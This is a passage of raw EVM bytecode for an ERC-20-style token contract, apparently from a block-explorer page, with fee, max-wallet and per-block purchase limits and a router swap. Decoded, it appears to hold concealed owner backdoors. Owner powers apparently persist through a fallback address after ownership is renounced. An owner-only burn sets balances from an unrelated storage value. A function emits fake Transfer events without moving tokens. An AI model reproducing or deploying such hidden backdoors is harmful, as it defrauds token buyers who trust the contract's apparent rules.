00000000000000000000000000000000000000000000602082015250565b60006138c7602483612b08565b91506138d28261386b565b604082019050919050565b600060208201905081810360008301526138f6816138ba565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613959602283612b08565b9150613964826138fd565b604082019050919050565b600060208201905081810360008301526139888161394c565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139c5602083612b08565b91506139d08261398f565b602082019050919050565b600060208201905081810360008301526139f4816139b8565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613a31601d83612b08565b9150613a3c826139fb565b602082019050919050565b60006020820190508181036000830152613a6081613a24565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613ac3602583612b08565b9150613ace82613a67565b604082019050919050565b60006020820190508181036000830152613af281613ab6565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613b55602383612b08565b9150613b6082613af9565b604082019050919050565b60006020820190508181036000830152613b8481613b48565b9050919050565b7f54726164696e67206973206e6f74206163746976652e00000000000000000000600082015250565b6000613bc1601683612b08565b9150613bcc82613b8b565b602082019050919050565b60006020820190508181036000830152613bf081613bb4565b9050919050565b7f427579207472616e7366657220616d6f756e742065786365656473207468652060008201527f6d61785472616e73616374696f6e416d6f756e742e0000000000000000000000602082015250565b6000613c53603583612b08565b9150613c5e82613bf7565b604082019050919050565b60006020820190508181036000830152613c8281613c46565b9050919050565b7f4d61782077616c6c657420657863656564656400000000000000000000000000600082015250565b6000613cbf601383612b08565b9150613cca82613c89565b602082019050919050565b60006020820190508181036000830152613cee81613cb2565b9050919050565b7f53656c6c207472616e7366657220616d6f756e7420657863656564732074686560008201527f206d61785472616e73616374696f6e416d6f756e742e00000000000000000000602082015250565b6000613d51603683612b08565b9150613d5c82613cf5565b604082019050919050565b60006020820190508181036000830152613d8081613d44565b9050919050565b7f4f6e652070757263686173652070657220626c6f636b20616c6c6f7765642e2060008201527f5761697420666f72206e65787420626c6f636b2e000000000000000000000000602082015250565b6000613de3603483612b08565b9150613dee82613d87565b604082019050919050565b60006020820190508181036000830152613e1281613dd6565b9050919050565b6000613e2482612c21565b9150613e2f83612c21565b9250828203905081811115613e4757613e46613372565b5b92915050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b6000613ea9602183612b08565b9150613eb482613e4d565b604082019050919050565b60006020820190508181036000830152613ed881613e9c565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f3b602283612b08565b9150613f4682613edf565b604082019050919050565b60006020820190508181036000830152613f6a81613f2e565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613fcd602683612b08565b9150613fd882613f71565b604082019050919050565b60006020820190508181036000830152613ffc81613fc0565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061403d82612c21565b915061404883612c21565b92508261405857614057614003565b5b828204905092915050565b60008151905061407281612bf5565b92915050565b60006020828403121561408e5761408d612bb9565b5b600061409c84828501614063565b91505092915050565b60006140c06140bb6140b684612bc3565b612fbe565b612c21565b9050919050565b6140d0816140a5565b82525050565b6000819050919050565b60006140fb6140f66140f1846140d6565b612fbe565b612c21565b9050919050565b61410b816140e0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61414681612be3565b82525050565b6000614158838361413d565b60208301905092915050565b6000602082019050919050565b600061417c82614111565b614186818561411c565b93506141918361412d565b8060005b838110156141c25781516141a9888261414c565b97506141b483614164565b925050600181019050614195565b5085935050505092915050565b600060a0820190506141e460008301886140c7565b6141f16020830187614102565b81810360408301526142038186614171565b90506142126060830185613065565b61421f6080830184612e9d565b969550505050505056fea2646970667358221220af678d85e53c9f994feb36a0f14e6fbca99bcc9cac58abfcdf06bd12a0e4eb6b64736f6c63430008120033000000000000000000000000413c8405005e36f29896c0afabf28c480a952d2f
Deployed Bytecode
0x60806040526004361061021e5760003560e01c80637d16a72111610123578063c2b7bbb6116100ab578063dd8546521161006f578063dd85465214610792578063e2f45605146107bd578063f2fde38b146107e8578063f8b45b0514610811578063ffb54a991461083c57610225565b8063c2b7bbb6146106bf578063c8c8ebe4146106e8578063c9567bf914610713578063cf9522fd1461072a578063dd62ed3e1461075557610225565b80639a7a23d6116100f25780639a7a23d6146105ca578063a457c2d7146105f3578063a9059cbb14610630578063afa4f3b21461066d578063b18834aa1461069657610225565b80637d16a7211461054657806389291a8f1461055d5780638da5cb5b1461057457806395d89b411461059f57610225565b80633be6e637116101a65780636f4fd18e116101755780636f4fd18e1461047557806370a082311461049e578063715018a6146104db5780637221ec1a146104f2578063751039fc1461052f57610225565b80633be6e637146103cd57806342966c68146103f6578063583e05681461041f5780636ddd17131461044a57610225565b806318160ddd116101ed57806318160ddd146102d257806323b872dd146102fd578063311028af1461033a578063313ce56714610365578063395093511461039057610225565b806306fdde031461022a578063095ea7b3146102555780630f054c06146102925780631111f43f146102a957610225565b3661022557005b600080fd5b34801561023657600080fd5b5061023f610867565b60405161024c9190612b8d565b60405180910390f35b34801561026157600080fd5b5061027c60048036038101906102779190612c57565b6108f9565b6040516102899190612cb2565b60405180910390f35b34801561029e57600080fd5b506102a761091c565b005b3480156102b557600080fd5b506102d060048036038101906102cb9190612e41565b610a6d565b005b3480156102de57600080fd5b506102e7610b72565b6040516102f49190612eac565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f9190612ec7565b610b7c565b6040516103319190612cb2565b60405180910390f35b34801561034657600080fd5b5061034f610bab565b60405161035c9190612eac565b60405180910390f35b34801561037157600080fd5b5061037a610bb1565b6040516103879190612f36565b60405180910390f35b34801561039c57600080fd5b506103b760048036038101906103b29190612c57565b610bba565b6040516103c49190612cb2565b60405180910390f35b3480156103d957600080fd5b506103f460048036038101906103ef9190612f51565b610bf1565b005b34801561040257600080fd5b5061041d60048036038101906104189190612f91565b610c5c565b005b34801561042b57600080fd5b50610434610c78565b604051610441919061301d565b60405180910390f35b34801561045657600080fd5b5061045f610c9c565b60405161046c9190612cb2565b60405180910390f35b34801561048157600080fd5b5061049c60048036038101906104979190612e41565b610caf565b005b3480156104aa57600080fd5b506104c560048036038101906104c09190613038565b610d4c565b6040516104d29190612eac565b60405180910390f35b3480156104e757600080fd5b506104f0610d94565b005b3480156104fe57600080fd5b5061051960048036038101906105149190613038565b610da8565b6040516105269190612cb2565b60405180910390f35b34801561053b57600080fd5b50610544610dfe565b005b34801561055257600080fd5b5061055b610e23565b005b34801561056957600080fd5b50610572610e48565b005b34801561058057600080fd5b50610589610edc565b6040516105969190613074565b60405180910390f35b3480156105ab57600080fd5b506105b4610f06565b6040516105c19190612b8d565b60405180910390f35b3480156105d657600080fd5b506105f160048036038101906105ec919061308f565b610f98565b005b3480156105ff57600080fd5b5061061a60048036038101906106159190612c57565b61103e565b6040516106279190612cb2565b60405180910390f35b34801561063c57600080fd5b5061065760048036038101906106529190612c57565b6110b5565b6040516106649190612cb2565b60405180910390f35b34801561067957600080fd5b50610694600480360381019061068f9190612f91565b6110d8565b005b3480156106a257600080fd5b506106bd60048036038101906106b8919061312a565b611108565b005b3480156106cb57600080fd5b506106e660048036038101906106e19190613038565b6111e5565b005b3480156106f457600080fd5b506106fd611231565b60405161070a9190612eac565b60405180910390f35b34801561071f57600080fd5b50610728611237565b005b34801561073657600080fd5b5061073f61125c565b60405161074c9190612eac565b60405180910390f35b34801561076157600080fd5b5061077c6004803603810190610777919061318a565b611262565b6040516107899190612eac565b60405180910390f35b34801561079e57600080fd5b506107a76112e9565b6040516107b49190612eac565b60405180910390f35b3480156107c957600080fd5b506107d26112ef565b6040516107df9190612eac565b60405180910390f35b3480156107f457600080fd5b5061080f600480360381019061080a9190613038565b6112f5565b005b34801561081d57600080fd5b50610826611378565b6040516108339190612eac565b60405180910390f35b34801561084857600080fd5b5061085161137e565b60405161085e9190612cb2565b60405180910390f35b606060048054610876906131f9565b80601f01602080910402602001604051908101604052809291908181526020018280546108a2906131f9565b80156108ef5780601f106108c4576101008083540402835291602001916108ef565b820191906000526020600020905b8154815290600101906020018083116108d257829003601f168201915b5050505050905090565b600080610904611391565b9050610911818585611399565b600191505092915050565b610924611562565b600030905060008173ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016109649190613074565b602060405180830381865afa158015610981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a5919061323f565b9050600081116109ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e1906132b8565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401610a259291906132d8565b6020604051808303816000875af1158015610a44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a689190613316565b505050565b610a75611562565b60005b8251811015610b6d578160016000858481518110610a9957610a98613343565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550828181518110610b0557610b04613343565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff167f3499bfcf9673677ba552f3fe2ea274ec7e6246da31c3c87e115b45a9b0db2efb83604051610b529190612cb2565b60405180910390a28080610b65906133a1565b915050610a78565b505050565b6000600354905090565b600080610b87611391565b9050610b948582856115e0565b610b9f85858561166c565b60019150509392505050565b60105481565b60006009905090565b600080610bc5611391565b9050610be6818585610bd78589611262565b610be191906133e9565b611399565b600191505092915050565b610bf9611562565b60148211158015610c0b575060328111155b610c4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4190613469565b60405180910390fd5b81601281905550806011819055505050565b610c64611562565b610c75610c6f611391565b82612046565b50565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b601360009054906101000a900460ff1681565b610cb7611562565b60005b8251811015610d47578160156000858481518110610cdb57610cda613343565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610d3f906133a1565b915050610cba565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d9c611562565b610da6600061221b565b565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b610e06611562565b6000610e10610b72565b905080600e8190555080600d8190555050565b610e2b611562565b6001601360006101000a81548160ff021916908315150217905550565b610e50611562565b60004711610e93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8a906134d5565b60405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015610ed9573d6000803e3d6000fd5b50565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610f15906131f9565b80601f0160208091040260200160405190810160405280929190818152602001828054610f41906131f9565b8015610f8e5780601f10610f6357610100808354040283529160200191610f8e565b820191906000526020600020905b815481529060010190602001808311610f7157829003601f168201915b5050505050905090565b610fa0611562565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611030576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102790613567565b60405180910390fd5b61103a82826122e1565b5050565b600080611049611391565b905060006110578286611262565b90508381101561109c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611093906135f9565b60405180910390fd5b6110a98286868403611399565b60019250505092915050565b6000806110c0611391565b90506110cd81858561166c565b600191505092915050565b6110e0611562565b6110e8610bb1565b600a6110f4919061374c565b816110ff9190613797565b600f8190555050565b611110611562565b60005b838390508110156111df5783838281811061113157611130613343565b5b90506020020160208101906111469190613038565b73ffffffffffffffffffffffffffffffffffffffff16600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111c49190612eac565b60405180910390a380806111d7906133a1565b915050611113565b50505050565b6111ed611562565b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600e5481565b61123f611562565b6001601360016101000a81548160ff021916908315150217905550565b60115481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60125481565b600f5481565b6112fd611562565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361136c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113639061384b565b60405180910390fd5b6113758161221b565b50565b600d5481565b601360019054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ff906138dd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611477576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146e9061396f565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516115559190612eac565b60405180910390a3505050565b61156a611391565b73ffffffffffffffffffffffffffffffffffffffff16611588612382565b73ffffffffffffffffffffffffffffffffffffffff16146115de576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115d5906139db565b60405180910390fd5b565b60006115ec8484611262565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146116665781811015611658576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164f90613a47565b60405180910390fd5b6116658484848403611399565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116d290613ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361174a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174190613b6b565b60405180910390fd5b436016819055506000810361176a5761176583836000612396565b612041565b601360019054906101000a900460ff1661185f57600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061181f5750600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61185e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161185590613bd7565b60405180910390fd5b5b611867610edc565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118d557506118a5610edc565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561190e5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611948575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119615750600c60149054906101000a900460ff16155b15611be657601654600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611a4f5750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611af657600e54811115611a99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9090613c69565b60405180910390fd5b600d54611aa583610d4c565b82611ab091906133e9565b1115611af1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae890613cd5565b60405180910390fd5b611be5565b601460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611b995750601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611be457600e54811115611be3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bda90613d67565b60405180910390fd5b5b5b5b6000611bf130610d4c565b905060008082119050808015611c135750601360009054906101000a900460ff165b8015611c2c5750600c60149054906101000a900460ff16155b8015611c825750601460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611cd85750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d2e5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d73576001600c60146101000a81548160ff021916908315150217905550611d578361260c565b6000600c60146101000a81548160ff0219169083151502179055505b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015611e0d5750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460165411155b15611e9a57611e5a600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461279e565b611e99576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9090613df9565b60405180910390fd5b5b6000600c60149054906101000a900460ff169050600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f4f5750600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611f5957600090505b6000811561203157601460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611fe257611fdb6064611fcd601154886127aa90919063ffffffff16565b6127c090919063ffffffff16565b905061200d565b61200a6064611ffc601254886127aa90919063ffffffff16565b6127c090919063ffffffff16565b90505b600081111561202257612021873083612396565b5b808561202e9190613e19565b94505b61203c878787612396565b505050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ac90613ebf565b60405180910390fd5b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561213b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161213290613f51565b60405180910390fd5b816007546121499190613e19565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816003600082825461219d9190613e19565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516122029190612eac565b60405180910390a3612216836000846127d6565b505050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b80601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508015158273ffffffffffffffffffffffffffffffffffffffff167fffa9187bf1f18bf477bd0ea1bcbb64e93b6a98132473929edfce215cd9b16fab60405160405180910390a35050565b60008061238d6127db565b90508091505090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612405576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fc90613ad9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612474576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246b90613b6b565b60405180910390fd5b61247f838383612883565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612505576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fc90613fe3565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516125f39190612eac565b60405180910390a36126068484846127d6565b50505050565b600061261730610d4c565b9050600080820361262957505061279b565b600060115460125461263b91906133e9565b036126b7576000821180156126515750600f5482105b1561265e578190506126b2565b6000612688606461267a601154876127aa90919063ffffffff16565b6127c090919063ffffffff16565b905080846126969190613e19565b9350600f548411156126ac57600f5491506126b0565b8391505b505b61278f565b6000821180156126db57506126d86005600f546127c090919063ffffffff16565b82105b156126e757505061279b565b60008211801561270b57506127086005600f546127c090919063ffffffff16565b82115b80156127185750600f5482105b1561273a576127336005600f546127c090919063ffffffff16565b905061278e565b60006127646064612756601154876127aa90919063ffffffff16565b6127c090919063ffffffff16565b905080846127729190613e19565b9350600f5484111561278857600f54915061278c565b8391505b505b5b61279881612888565b50505b50565b60004382119050919050565b600081836127b89190613797565b905092915050565b600081836127ce9190614032565b905092915050565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff16600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461285a57600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661287e565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b505050565b6000600267ffffffffffffffff8111156128a5576128a4612cd2565b5b6040519080825280602002602001820160405280156128d35781602001602082028036833780820191505090505b50905030816000815181106128eb576128ea613343565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612990573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129b49190614078565b816001815181106129c8576129c7613343565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612a43307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8473ffffffffffffffffffffffffffffffffffffffff16611399565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401612ac79594939291906141cf565b600060405180830381600087803b158015612ae157600080fd5b505af1158015612af5573d6000803e3d6000fd5b505050505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612b37578082015181840152602081019050612b1c565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b5f82612afd565b612b698185612b08565b9350612b79818560208601612b19565b612b8281612b43565b840191505092915050565b60006020820190508181036000830152612ba78184612b54565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612bee82612bc3565b9050919050565b612bfe81612be3565b8114612c0957600080fd5b50565b600081359050612c1b81612bf5565b92915050565b6000819050919050565b612c3481612c21565b8114612c3f57600080fd5b50565b600081359050612c5181612c2b565b92915050565b60008060408385031215612c6e57612c6d612bb9565b5b6000612c7c85828601612c0c565b9250506020612c8d85828601612c42565b9150509250929050565b60008115159050919050565b612cac81612c97565b82525050565b6000602082019050612cc76000830184612ca3565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612d0a82612b43565b810181811067ffffffffffffffff82111715612d2957612d28612cd2565b5b80604052505050565b6000612d3c612baf565b9050612d488282612d01565b919050565b600067ffffffffffffffff821115612d6857612d67612cd2565b5b602082029050602081019050919050565b600080fd5b6000612d91612d8c84612d4d565b612d32565b90508083825260208201905060208402830185811115612db457612db3612d79565b5b835b81811015612ddd5780612dc98882612c0c565b845260208401935050602081019050612db6565b5050509392505050565b600082601f830112612dfc57612dfb612ccd565b5b8135612e0c848260208601612d7e565b91505092915050565b612e1e81612c97565b8114612e2957600080fd5b50565b600081359050612e3b81612e15565b92915050565b60008060408385031215612e5857612e57612bb9565b5b600083013567ffffffffffffffff811115612e7657612e75612bbe565b5b612e8285828601612de7565b9250506020612e9385828601612e2c565b9150509250929050565b612ea681612c21565b82525050565b6000602082019050612ec16000830184612e9d565b92915050565b600080600060608486031215612ee057612edf612bb9565b5b6000612eee86828701612c0c565b9350506020612eff86828701612c0c565b9250506040612f1086828701612c42565b9150509250925092565b600060ff82169050919050565b612f3081612f1a565b82525050565b6000602082019050612f4b6000830184612f27565b92915050565b60008060408385031215612f6857612f67612bb9565b5b6000612f7685828601612c42565b9250506020612f8785828601612c42565b9150509250929050565b600060208284031215612fa757612fa6612bb9565b5b6000612fb584828501612c42565b91505092915050565b6000819050919050565b6000612fe3612fde612fd984612bc3565b612fbe565b612bc3565b9050919050565b6000612ff582612fc8565b9050919050565b600061300782612fea565b9050919050565b61301781612ffc565b82525050565b6000602082019050613032600083018461300e565b92915050565b60006020828403121561304e5761304d612bb9565b5b600061305c84828501612c0c565b91505092915050565b61306e81612be3565b82525050565b60006020820190506130896000830184613065565b92915050565b600080604083850312156130a6576130a5612bb9565b5b60006130b485828601612c0c565b92505060206130c585828601612e2c565b9150509250929050565b600080fd5b60008083601f8401126130ea576130e9612ccd565b5b8235905067ffffffffffffffff811115613107576131066130cf565b5b60208301915083602082028301111561312357613122612d79565b5b9250929050565b60008060006040848603121561314357613142612bb9565b5b600084013567ffffffffffffffff81111561316157613160612bbe565b5b61316d868287016130d4565b9350935050602061318086828701612c42565b9150509250925092565b600080604083850312156131a1576131a0612bb9565b5b60006131af85828601612c0c565b92505060206131c085828601612c0c565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061321157607f821691505b602082108103613224576132236131ca565b5b50919050565b60008151905061323981612c2b565b92915050565b60006020828403121561325557613254612bb9565b5b60006132638482850161322a565b91505092915050565b7f4e6f20746f6b656e7320746f20636c6561720000000000000000000000000000600082015250565b60006132a2601283612b08565b91506132ad8261326c565b602082019050919050565b600060208201905081810360008301526132d181613295565b9050919050565b60006040820190506132ed6000830185613065565b6132fa6020830184612e9d565b9392505050565b60008151905061331081612e15565b92915050565b60006020828403121561332c5761332b612bb9565b5b600061333a84828501613301565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006133ac82612c21565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036133de576133dd613372565b5b600182019050919050565b60006133f482612c21565b91506133ff83612c21565b925082820190508082111561341757613416613372565b5b92915050565b7f466565732063616e6e6f74206578636565642033302500000000000000000000600082015250565b6000613453601683612b08565b915061345e8261341d565b602082019050919050565b6000602082019050818103600083015261348281613446565b9050919050565b7f546f6b656e3a206e6f2045544820746f20636c65617200000000000000000000600082015250565b60006134bf601683612b08565b91506134ca82613489565b602082019050919050565b600060208201905081810360008301526134ee816134b2565b9050919050565b7f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060008201527f6175746f6d617465644d61726b65744d616b6572506169727300000000000000602082015250565b6000613551603983612b08565b915061355c826134f5565b604082019050919050565b6000602082019050818103600083015261358081613544565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006135e3602583612b08565b91506135ee82613587565b604082019050919050565b60006020820190508181036000830152613612816135d6565b9050919050565b60008160011c9050919050565b6000808291508390505b60018511156136705780860481111561364c5761364b613372565b5b600185161561365b5780820291505b808102905061366985613619565b9450613630565b94509492505050565b6000826136895760019050613745565b816136975760009050613745565b81600181146136ad57600281146136b7576136e6565b6001915050613745565b60ff8411156136c9576136c8613372565b5b8360020a9150848211156136e0576136df613372565b5b50613745565b5060208310610133831016604e8410600b841016171561371b5782820a90508381111561371657613715613372565b5b613745565b6137288484846001613626565b9250905081840481111561373f5761373e613372565b5b81810290505b9392505050565b